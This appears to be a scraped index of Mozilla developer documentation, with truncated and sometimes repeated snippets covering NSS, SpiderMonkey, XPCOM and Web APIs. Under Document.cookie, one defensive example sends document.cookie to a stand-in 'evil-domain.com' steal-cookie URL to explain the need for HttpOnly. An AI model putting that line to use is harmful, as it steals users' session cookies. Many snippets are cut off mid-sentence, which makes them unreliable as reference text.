size of the header struct, not the size of the string contents!) bytes leaked - the number of bytes per instance times the number of objects leaked: (bytes per-inst) x (objects rem).
Investigating leaks using DMD heap scan mode
leaked object to go away.
Profiling with Xperf
new firefox instance: xperf -on base xperf -start heapsession -heap -pidnewprocess "./firefox.exe -p test -no-remote" -stackwalk heapalloc+heaprealloc -buffersize 512 -minbuffers 128 -maxbuffers 512 to stop a session and merge the resulting files: xperf -stop heapsession -d heap.etl xperf -d main.etl xperf -merge main.etl heap.etl result.etl "result.etl" will contain your merged data; you can delete main.etl and heap.etl.
Profiling with the Firefox Profiler
ppears which zooms into that range.
TraceMalloc
tracemalloc has been superseded by dmd and removed from the codebase.
McCoy
y-0.5.en-us.win32.zip (windows) mccoy-0.5.en-us.linux-i686.tar.bz2 (linux) mccoy-0.5.en-us.mac.dmg (mac os x universal) there are some known issues with running mccoy on linux.
Midas editor module security preferences
this functionality is completely removed since 2013-12-14 18:23 pst, see: bugs 38966 and 913734 note: if you've reached this page from a message box in firefox or another mozilla product, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of this page is for web developers and advanced users.
Anonymous Shared Memory
re the shared memory is backed by a file, the file's name in the filesystem is visible to other processes for only the duration of the creation of the file, hopefully a very short time.
IPC Semaphores
pter describes the nspr api for using interprocess communication semaphores.
I/O Functions
rminated character strings.
Memory Management Operations
and have the same semantics.
PRDescIdentity
r_invalid_io_layer, an invalid layer identity, for error return pr_top_io_layer, the identity of the top of the stack pr_nspr_io_layer, the identity used by nspr proper layers are created by pr_getuniqueidentity.
PR_FreeLibraryName
frees memory allocated by nspr for library names and path names.
PR_GetThreadPrivate
tax #include <prthread.h> void* pr_getthreadprivate(pruintn index); parameter pr_getthreadprivate has the following parameters: index the index into the per-thread private data table.
PR_OpenSemaphore
open the semaphore.
PR_SetErrorText
nated c string.
PR_SetThreadPrivate
ion for the private data.
Encrypt Decrypt MAC Keys As Session Objects
ilename, infilename); strcat(headerfilename, ".header"); /* for intermediate encrypted file, choose filename as inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it.
Encrypt and decrypt MAC using token
ilename, infilename); strcat(headerfilename, ".header"); /* for intermediate encrypted file, choose filename as inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it.
NSS 3.12.4 release notes
1755: implement crldistributionpoint extension in libpkix bug 391434: avoid multiple encoding/decoding of pkix_pl_oid to and from ascii string bug 405297: problems building nss/lib/ckfw/capi/ with mingw gcc bug 420991: libpkix returns wrong nss error code bug 427135: add super-h (sh3,4) architecture support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted from nss bug 449332: secu_parsecommandline does not validate its inputs bug 453735: when using cert9 (sqlite3) db, set or change master password fails bug 463544: warning: passing enum* for an int* argument in pkix_validate.c bug 469588: coverity errors reported for softoken bug 470055: pkix_httpcertstore_findsocketconnection reuses closed socket bug 470070: multiple object leaks reported by tin...
NSS 3.39 release notes
security/nss/releases/nss_3_39_rtm/src/ new in nss 3.39 new functionality the tstclnt and selfserv utilities added support for configuring the enabled tls signature schemes using the -j parameter.
NSS Sample Code Sample1
keynickname(n->key); cout << "key: " << name << endl; } list_done: if (slot) pk11_freeslot(slot); if (list) seckey_destroyprivatekeylist(list); cout << "done" << endl; } // let's see if the keys are the same rv = server1->comparekeys(server2); if (rv) { cout << "key comparison failed" << endl; } server1->shutdown(); server2->shutdown(); done: if (server1) delete server1; if (server2) delete server2; nss_shutdown(); return rv; } ...
NSS Sample Code Sample_3_Basic Encryption and MACing
ilename, infilename); strcat(headerfilename, ".header"); /* for intermediate encrypted file, choose filename as inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it.
EncDecMAC using token object - sample 3
ame with extension ".header" */ strcpy(headerfilename, infilename); strcat(headerfilename, ".header"); /* for intermediate encrypted file, choose filename as inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it.
Python binding for NSS
certdb.find_crl_by_name() certificate.extensions certificateextension.critical certificateextension.name certificateextension.oid certificateextension.oid_tag certificateextension.value generalname.type_enum generalname.type_name generalname.type_string secitem.der_to_hex() secitem.get_oid_sequence() secitem.to_hex() signedcrl.delete_permanently() ava.oid ava.oid_tag ava.value ava.value_str dn.cert_uid dn.common_name dn.country_name dn.dc_name dn.email_address dn.locality_name dn.org_name dn.org_unit_name dn.state_name dn.add_rdn() dn.has_key() rdn.has_key() the following module functions were removed: note: use nss.nss.oid_tag() ins...
NSS tools : vfychain
name vfychain — vfychain [options] [revocation options] certfile [[options] certfile] ...
NSS reference
s" in nss public functions.
gtstd.html
netscape certificate management system.
Utility functions
info mxr 3.2 and later seckey_destroypublickey mxr 3.2 and later seckey_publickeystrength mxr 3.2 and later seckey_updatecertpqg mxr 3.2 and later secmod_addnewmodule mxr 3.3 and later secmod_addnewmoduleex mxr 3.4 and later secmod_deletemoduleex mxr 3.12 and later secmod_cancelwait mxr 3.9.3 and later secmod_candeleteinternalmodule mxr 3.5 and later secmod_createmodule mxr 3.4 and later secmod_deletemodule mxr 3.4 and later secmod_findmodule mxr 3.4 and later secmo...
NSS tools : vfychain
name vfychain — vfychain [options] [revocation options] certfile [[options] certfile] ...
Rhino shell
erted to string and put as the new value of the output property.
Rebranding SpiderMonkey (1.8.5)
m a recursive find and replace text operation on all files in the current directory.
GC Rooting Guide
rooted<t> fields when possible for aggregates, otherwise use an autorooter.
Exact Stack Rooting
is for you, called js::rootedt: rootedstring str1(cx, js_valuetostring(cx, val)); rootedstring str2(rt, js_valuetostring(cx, val)); note 1: c++ insists that an initializing assignment (e.g., the default constructor followed by operator=) must have a copy constructor available, even if it is not used.
Garbage collection
ier the problem that requires a write barrier incremental gc requires a write barrier for correctness.
SpiderMonkey Internals
for (var j = divisor + divisor; j <= n; j += divisor) { sumofdivisors[j] += " + " + divisor; } // at this point everything up to 'divisor' has its sumofdivisors // expression calculated, so we can determine whether it's perfect // already by evaluating.
JIT Optimization Outcomes
knownobject the type of the object is not known.
JS::PersistentRooted
/ persistentval.init(rt, js::nullvalue()); // initialize context and global // ...
JSConstDoubleSpec
_t value for the double or integer.
JS_DefineElement
true.
JS_FreezeObject
object.
JS_GetArrayLength
lengthp uint32_t * out parameter.
JS_GetElement
e chain, for an element or numeric property numbered index.
JS_HasArrayLength
he current value of the length property.
JS_HasElement
prototype chain, for an element or numeric property numbered index.
JS_LookupElement
ored value and returns true.
JS_SealObject
sbool js_sealobject(jscontext *cx, jsobject *obj, jsbool deep); name type description cx jscontext * a context.
JS_SetAllNonReservedSlotsToUndefined
ll slots, regardless of the associated property descriptor.
JS_SetPropertyAttributes
t obj.
Parser API
sion, pattern { type: "identifier"; name: string; } an identifier.
SpiderMonkey 1.8.8
ost.
SpiderMonkey 1.8
double is now deprecated.
SpiderMonkey 17
ost.
SpiderMonkey 31
js engine after all runtimes have been destroyed.
SpiderMonkey 52
ed in detail below.
TPS Password Lists
word: required.
TPS Tab Lists
ctions.
TPS Tests
ync account) over a series of different events and clients.
Redis Tips
u'll want to run a redis-server on your machine, and use the redis-cli at the command-line for hacking.
Setting up an update server
ore information on building firefox locally.
Using the Places favicon service
e default expiration time is set to one day in the future.
Accessing the Windows Registry Using XPCOM
ction defined above.
Creating a Python XPCOM component
print "pysimple: __del__ method called - object is destructing" def write(self): print self.yourname def change(self, newname): self.yourname = newname then register your component; the procedure is the same for any component, but will not work if python components weren't enabled.
Using XPCOM Utilities to Make Things Easier
!value) return; // ...
IAccessibleTable
strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads.
IAccessibleTable2
strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads.
mozIStorageConnection
e connection, or have a transaction open on another connection that shares the same pager cache.
nsIDOMMozNetworkStatsManager
getavailablenetworks(); nsidomdomrequest getavailableservicetypes(); attributes attribute type description samplerate long minimum time in milliseconds between samples stored in the database.
nsIDOMUserDataHandler
1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned.
nsIDOMWindowUtils
ommandevent() generate a content command event.
nsIEditorMailSupport
n( in astring aquotedtext ); parameters aquotedtext the actual text to be quoted.
nsIFaviconService
he data.
nsILoginManager
if one is set.
nsITraceableChannel
receivedchunks.push(data); ostream.writebytes(data, acount); this.originallistener.ondataavailable(arequest, acontext, sstream.newinputstream(0), aoffset, acount); }, onstartrequest: function(arequest, acontext) { this.originallistener.onstartrequest(arequest, acontext); }, onstoprequest: function(arequest, acontext, astatuscode) { this.responsebody = this.receivedchunks.join(""); delete this.receivedchunks; this.responsestatus = astatuscode; this.originallistener.onstoprequest(arequest, acontext, astatuscode); this.deferreddone.resolve(); }, queryinterface: function(aiid) { if (aiid.equals(ci.nsistreamlistener) || aiid.equals(ci.nsisupports)) { return this; } throw cr.ns_nointerface; } }; var httpresponseobserver = { observe: function(asubject, atopic, adata...
nsITransferable
le objects.
nsITreeBoxObject
this notification method when rows are added or removed.
nsITreeView
rt on any column.
nsIZipWriter
'].createinstance(ci.nsizipwriter); var myzipfile = fu.file('c:\\myzipfile.zip'); //this file will be creatd in c drive var pr = {pr_rdonly: 0x01, pr_wronly: 0x02, pr_rdwr: 0x04, pr_create_file: 0x08, pr_append: 0x10, pr_truncate: 0x20, pr_sync: 0x40, pr_excl: 0x80}; zw.open(xpi, pr.pr_wronly | pr.pr_create_file | pr.pr_truncate); //xpi file is created if not there, if it is there it is truncated/deleted var filetoaddtozip = fileutils.file('c:\\add this file.txt'); var saveinzipas = 'blah.txt'; zw.addentryfile(saveinzipas, ci.nsizipwriter.compression_none, filetoaddtozip, false); in the above example, the file ("add this file.txt") located at "c:\add this file.txt" will be added to the zip file "c:\myzipfile.zip", however in the zip file this file ("add this file.txt") will be named "blah.txt...
nsMsgRuleActionType
0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=11; const long deletefrompop3server=12; const long leaveonpop3server=13; const long junkscore=14; const long fetchbodyfrompop3server=15; const long copytofo...
Storage
yfunction() { // mspecialstatement is a member variable of the class that contains a statement.
Activity Manager examples
n the // undo handler.
Thunderbird extensions
-ons guide for changes introduced in thunderbird 60.
Browser Side Plug-in API - Plugins
n.
Plug-in Development Overview - Plugins
he plug-in.
Plug-in Side Plug-in API - Plugins
es methods in the plug-in api that are available for the plug-in object.
Structures - Plugins
to print itself in full-page or embedded mode.
Use watchpoints - Firefox Developer Tools
when the watched property is accessed in the way specified by the watchpoint type (get or set), the debugger pauses, enabling you to see line of code responsible, and to inspect anything else you wish at that time.
Debugger.Frame - Firefox Developer Tools
, [options]) like eval, but evaluatecode in the environment of this frame, extended with bindings from the objectbindings.
Animation.finished - Web APIs
is, when it starts playing again), a new promise is created for this property.
Body.bodyUsed - Web APIs
Web › API › Body › bodyUsed
g response.bodyused to the console once before the response.blob() call and once after.
Body - Web APIs
Web › API › Body
ay it in an <img> tag.
CSS Typed Object Model API - Web APIs
ject model api provides a representation of a css declaration block that is an alternative to cssstyledeclaration.
Cache.keys() - Web APIs
Web › API › Cache › keys
se object has a vary header.
Cache.matchAll() - Web APIs
Web › API › Cache › matchAll
e object.
CharacterData - Web APIs
ified one in its parent's children list, or null if the specified element is the first one in the list.
Document.cookie - Web APIs
Web › API › Document › cookie
ty in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
Document.popupNode - Web APIs
e popup or context attributes.
Document.querySelectorAll() - Web APIs
s is returned, you can examine it just like any array.
Element: cut event - Web APIs
Web › API › Element › cut event
css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element: paste event - Web APIs
rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.querySelectorAll() - Web APIs
s is returned, you can examine it just like any array.
ExtendableEvent.waitUntil() - Web APIs
ce worker is discarded.
ExtendableEvent - Web APIs
the extendableevent interface extends the lifetime of the install and activate events dispatched on the global scope as part of the service worker lifecycle.
FetchEvent.PreloadRequest - Web APIs
<please delete> ...
Fetch basic concepts - Web APIs
ted headers object whose guard is set as summarized below: new object's type creating constructor guard setting of associated headers object request request() request request() with mode of no-cors request-no-cors response response() response error() or redirect() methods immutable a header's guard affects the set(), delete(), and append() methods which change the header's contents.
FileSystemDirectoryEntry - Web APIs
irectory.
FontFaceSet - Web APIs
nt of type loadingerror is fired, indicating that an error occurred whilst loading a font-face set.
Audio() - Web APIs
is sent when it's estimated that the audio should be able to play to the end without interruption.
HTMLSlotElement: slotchange event - Web APIs
the slotchange event is fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change.
The HTML DOM API - Web APIs
s.
HashChangeEvent.oldURL - Web APIs
this article is obsolete and should be deleted.
Headers.getAll() - Web APIs
Web › API › Headers › getAll
o 52 (firefox 52 / thunderbird 52 / seamonkey 2.49)this feature is obsolete.
IDBDatabase.createObjectStore() - Web APIs
his method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback.
IDBDatabase.onversionchange - Web APIs
the onversionchange event handler of the idbdatabase interface handles the versionchange event, fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested elsewhere (most probably in another window/tab on the same computer).
IDBDatabase.transaction() - Web APIs
ngs, supported only by chrome: return value an idbtransaction object.
IDBDatabase: versionchange event - Web APIs
the versionchange event is fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested.
IDBDatabaseException - Web APIs
meet requirements.
IDBIndex.count() - Web APIs
Web › API › IDBIndex › count
on which subsequent events related to this operation are fired.
IDBIndex.get() - Web APIs
Web › API › IDBIndex › get
on which subsequent events related to this operation are fired.
IDBIndex.getAll() - Web APIs
Web › API › IDBIndex › getAll
reater than 232-1 a typeerror exception will be thrown.
IDBIndex.getAllKeys() - Web APIs
reater than 232-1 a typeerror exception will be thrown.
IDBIndex.getKey() - Web APIs
Web › API › IDBIndex › getKey
on which subsequent events related to this operation are fired.
IDBIndex.name - Web APIs
Web › API › IDBIndex › name
he idbindex interface contains a string which names the index.
IDBIndex.openCursor() - Web APIs
ons this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive.
IDBIndex.openKeyCursor() - Web APIs
ons this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive.
IDBIndex - Web APIs
Web › API › IDBIndex
x lets you look up records in an object store using properties of the values in the object stores records other than the primary key the index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store.
IDBObjectStore.add() - Web APIs
, and a key parameter was provided.
IDBObjectStore.clear() - Web APIs
e interface creates and immediately returns an idbrequest object, and clears this object store in a separate thread.
IDBObjectStore.count() - Web APIs
uery); parameters query optional a key or idbkeyrange object that specifies a range of records you want to count.
IDBObjectStore.get() - Web APIs
sequent events related to this operation are fired.
IDBObjectStore.getAll() - Web APIs
nts related to this operation are fired.
IDBObjectStore.getAllKeys() - Web APIs
nts related to this operation are fired.
IDBObjectStore.getKey() - Web APIs
sequent events related to this operation are fired.
IDBObjectStore.index() - Web APIs
cursor.
IDBObjectStore.name - Web APIs
ndicates the name of this object store.
IDBObjectStore.openCursor() - Web APIs
irection to travel.
IDBObjectStore.openKeyCursor() - Web APIs
irection to travel.
IDBObjectStore.put() - Web APIs
, and a key parameter was provided.
IDBOpenDBRequest - Web APIs
the idbopendbrequest interface of the indexeddb api provides access to the results of requests to open or delete databases (performed using idbfactory.open and idbfactory.deletedatabase), using specific event handler attributes.
IDBTransaction.mode - Web APIs
ion.mode; value an idbtransactionmode object defining the mode for isolating access to data in the current object stores: value explanation readonly allows data to be read but not changed.
IDBTransaction.objectStore() - Web APIs
ame of the requested object store.
IDBTransaction - Web APIs
escription read_only "readonly" (0 in chrome) allows data to be read but not changed.
IDBVersionChangeEvent.oldVersion - Web APIs
: this feature is available in web workers.
IDBVersionChangeRequest.setVersion() - Web APIs
ely and running a versionchange transaction on the connected database in a separate thread.
IndexedDB API - Web APIs
wever, the synchronous api may be reintroduced if there is enough demand from web developers.
InputEvent.inputType - Web APIs
the inputtype read-only property of the inputevent interface returns the type of change made to editible content.
compareVersion - Web APIs
an installed file or package with a specified version.
MIDIInputMap - Web APIs
the midiinputmap read-only interface of the web midi api provides a map-like interface to the currently available midi input ports.
MIDIOutputMap - Web APIs
the midioutputmap read-only interface of the web midi api provides a map-like interface to the currently available midi output ports.
MediaList - Web APIs
Web › API › MediaList
thods listed below will immediately update the behavior of the document.
MediaRecorder.onerror - Web APIs
ssible when using the mediastream recording api; to determine which occurred, check the value of mediarecordererrorevent.error.name.
MediaRecorderErrorEvent.error - Web APIs
sense during the handling of media recording, including these specifically identified by the specification.
MutationObserver.disconnect() - Web APIs
gain.
Node.removeChild() - Web APIs
Web › API › Node › removeChild
ory, but is no longer part of the dom.
PaymentRequest.shippingAddress - Web APIs
ption.label = 'free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request apithe definition of 'shippingaddress' in that specification.
PaymentResponse.shippingAddress - Web APIs
ption.label = 'free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
PushManager.unregister() - Web APIs
the unregister() method was used to ask the system to unregister and delete the specified endpoint.
PushManager - Web APIs
e pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default.
RTCIceCandidatePairStats - Web APIs
currently-active ice candidate pair—if any—can be obtained by calling the rtcicetransport method getselectedcandidatepair(), which returns an rtcicecandidatepair object, or null if there isn't a pair selected.
RTCPeerConnection.close() - Web APIs
active streams.
Range - Web APIs
Web › API › Range
r node.
Selection API - Web APIs
4notes full support 4notes notes before firefox 35, the method didn't throw if node was null.opera android full support yessafari ios full support yessamsung internet android full support yesdeletefromdocument experimentalchrome full support yesedge full support 12firefox full support 55ie ?
ServiceWorkerGlobalScope: activate event - Web APIs
handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate event handler to upgrade a cache.
ServiceWorkerGlobalScope.onactivate - Web APIs
ntax serviceworkerglobalscope.onactivate = function(event) { ...
Service Worker API - Web APIs
of client objects; the main way to access the active service worker clients at the current origin.
Storage.clear() - Web APIs
Web › API › Storage › clear
the clear() method of the storage interface clears all keys stored in a given storage object.
StylePropertyMap - Web APIs
fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, stylepropertymapreadonly.
URLSearchParams.set() - Web APIs
the set() method of the urlsearchparams interface sets the value associated with a given search parameter to the given value.
URL API - Web APIs
Web › API › URL API
gotopage(addr.searchparams.get("page")); } catch(err) { showerrormessage(err); } for example, in the above snippet, the username and target page are taken from the query and passed to appropriate functions that are used by the site's code to log in and route the user to their desired destination within the site.
WebGLBuffer - Web APIs
an opaque buffer object storing data such as vertices or colors.
WebGLFramebuffer - Web APIs
ffers that serve as a rendering destination.
WebGLQuery - Web APIs
ive queries are available.
WebGLRenderbuffer - Web APIs
rce or target of an rendering operation.
WebGLRenderingContext.bindBuffer() - Web APIs
ns.
WebGLRenderingContext.getActiveUniform() - Web APIs
g.
WebGLRenderingContext.getShaderParameter() - Web APIs
the webglrenderingcontext.getshaderparameter() method of the webgl api returns information about the given shader.
WebGLSampler - Web APIs
the webglsampler interface is part of the webgl 2 api and stores sampling parameters for webgltexture access inside of a shader.
WebGLSync - Web APIs
Web › API › WebGLSync
the webglsync interface is part of the webgl 2 api and is used to synchronize activities between the gpu and the application.
WebGLTexture - Web APIs
object providing storage and state for texturing operations.
WebGLTransformFeedback - Web APIs
es transform feedback, which is the process of capturing primitives generated by vertex processing.
WebGLVertexArrayObject - Web APIs
the webglvertexarrayobject interface is part of the webgl 2 api, represents vertex array objects (vaos) pointing to vertex array data, and provides names for different sets of vertex data.
Inputs and input sources - Web APIs
ts source set to the new xrinputsource.
WebXR performance guide - Web APIs
...
Example and tutorial: Simple synth keyboard - Web APIs
stopping a tone the notereleased() function is the event handler called when the user releases the mouse button or moves the mouse out of the key that's currently playing.
Window.requestFileSystem() - Web APIs
ll not implement it.
WindowEventHandlers.onbeforeunload - Web APIs
tdefault(); // if you prevent default behavior in mozilla firefox prompt will always be shown // chrome requires returnvalue to be set e.returnvalue = ''; }); guarantee the browser unload by removing the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascript to render content, the javascript may stop when leaving and then navigating back to the page.
XMLHttpRequest.open() - Web APIs
mlhttprequest method open() initializes a newly-created request, or re-initializes an existing one.
XRWebGLLayer.framebuffer - Web APIs
ways from a standard webgl context.
ARIA: tabpanel role - Accessibility
the aria tabpanel role indicates description an element with the tabpanel role associated roles and attributes aria- keyboard interaction key action tab → ← delete required javascript features include note about semantic alternatives to using this role or attribute.
ARIA: tab role - Accessibility
he keyboard focus order, ideally the active tab's associated tabpanel.
Architecture - Accessibility
o get the line of text at the caret: many editors, including the mozilla editor, have a strange issue with caret offsets.
Understandable - Accessibility
at least one of the following should be true: submissions are reversible.
CSS reference - CSS: Cascading Style Sheets
Web › CSS › Reference
collapsing replaced elements stacking context visual formatting model dom-css / cssom major object types documentorshadowroot.stylesheets stylesheets[i].cssrules cssrules[i].csstext (selector & style) cssrules[i].selectortext htmlelement.style htmlelement.style.csstext (just style) element.classname element.classlist important methods cssstylesheet.insertrule() cssstylesheet.deleterule() ...
text-decoration-style - CSS: Cascading Style Sheets
to all lines that are set with text-decoration-line.
WAI ARIA Live Regions/API Support - Developer guides
ld index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_...
Rich-Text Editing in Mozilla - Developer guides
eozgmeakqubes2cekkervei1zzuogyflakecezfi0ggtgkebatfmjavxwevookeqgabb9iqdcmrlpjetrqqlhhjinrtq/b7/i8fp8paqa7" /> <img class="intlink" title="add indentation" onclick="formatdoc('outdent');" src="data:image/gif;base64,r0lgodlhfgawamihaaaaadljwlie35gjuaezxtdv3nha7p///yh5baeaaacalaaaaaawabyaaam2elrc/jdkcqg9f2i7u8agqgyk1z2eibil+twqemxhmczsyvj3e4ahk+sfnagtxsqdqww6n5ceads=" /> <img class="intlink" title="delete indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p///////////////////////////////yh5baeaaagalaaaaaawabyaaaq7emljq704650b/x8gemmpgugwhjnzxodkso5oquogo5khbwwesymqscrdhu9voyk5tm9zspfsr9gsjwiaow==" /> <img class="intlink" title="hyperlink" onclick="var slnk=prompt('write the url here','http:\/\/');if(slnk&&slnk!=''&&slnk!='http://...
Making content editable - Developer guides
le="quote" onclick="formatdoc('formatblock','blockquote');" src="data:image/gif;base64,r0lgodlhfgawaiqxac1nqjfrjkbgmt9nqujnsk9xrfj7u2r9qmkbt1igzhmorm6sz4oxw3odz4cl2zsnw6kxyqo306k63bg70btb0rdi3bvi4p///////////////////////////////////yh5baekab8alaaaaaawabyaaavp4ceozgmeakqubes2cekkervei1zzuogyflakecezfi0ggtgkebatfmjavxwevookeqgabb9iqdcmrlpjetrqqlhhjinrtq/b7/i8fp8paqa7" /> <img class="intlink" title="delete indentation" onclick="formatdoc('outdent');" src="data:image/gif;base64,r0lgodlhfgawamihaaaaadljwlie35gjuaezxtdv3nha7p///yh5baeaaacalaaaaaawabyaaam2elrc/jdkcqg9f2i7u8agqgyk1z2eibil+twqemxhmczsyvj3e4ahk+sfnagtxsqdqww6n5ceads=" /> <img class="intlink" title="add indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p/////////////////...
<code>: The Inline Code element - HTML: Hypertext Markup Language
Web › HTML › Element › code
es any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for this element.
<input type="date"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › date
ck if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.display = 'block'; // populate the days and years dynamically // (the months are always the same, therefore hardcoded) populatedays(monthselect.value); populateyears(); } function populatedays(month) { // delete the current set of <option> elements out of the // day <select>, ready for the next set to be injected while(dayselect.firstchild){ dayselect.removechild(dayselect.firstchild); } // create variable to hold new number of days to inject var daynum; // 31 or 30 days?
<input type="datetime-local"> - HTML: Hypertext Markup Language
the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.display = 'block'; // populate the days and years dynamically // (the months are always the same, therefore hardcoded) populatedays(monthselect.value); populateyears(); populatehours(); populateminutes(); } function populatedays(month) { // delete the current set of <option> elements out of the // day <select>, ready for the next set to be injected while(dayselect.firstchild){ dayselect.removechild(dayselect.firstchild); } // create variable to hold new number of days to inject var daynum; // 31 or 30 days?
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
Web › HTML › Element › input
range of acceptable values.
<ins> - HTML: Hypertext Markup Language
Web › HTML › Element › ins
the html <ins> element represents a range of text that has been added to a document.
<strike> - HTML: Hypertext Markup Language
Web › HTML › Element › strike
ature is obsolete.
HTML elements reference - HTML: Hypertext Markup Language
Web › HTML › Element
ser.
Connection management in HTTP/1.x - HTTP
latency of the connection.
Access-Control-Request-Method - HTTP
tp method will be used when the actual request is made.
Alt-Svc - HTTP
Web › HTTP › Headers › Alt-Svc
.
Clear-Site-Data - HTTP
ng subdomains.
CSP: report-uri - HTTP
_encode($json_data, json_pretty_print | json_unescaped_slashes); if (!file_exists($log_file)) { // send an email $message = "the following content-security-policy violation occurred on " .
Content-Type - HTTP
post or put), the client tells the server what type of data is actually sent.
Tk - HTTP
Web › HTTP › Headers › Tk
.
HTTP Messages - HTTP
Web › HTTP › Messages
rther (like accept-language), by giving context (like referer), or by conditionally restricting it (like if-none).
200 OK - HTTP
Web › HTTP › Status › 200
he meaning of a success depends on the http request method: get: the resource has been fetched and is transmitted in the message body.
HTTP
Web › HTTP
cribe a resource, or the behavior of the server or the client.
TypeError: can't redefine non-configurable property "x" - JavaScript
roperty is non-configurable.
SyntaxError: illegal character - JavaScript
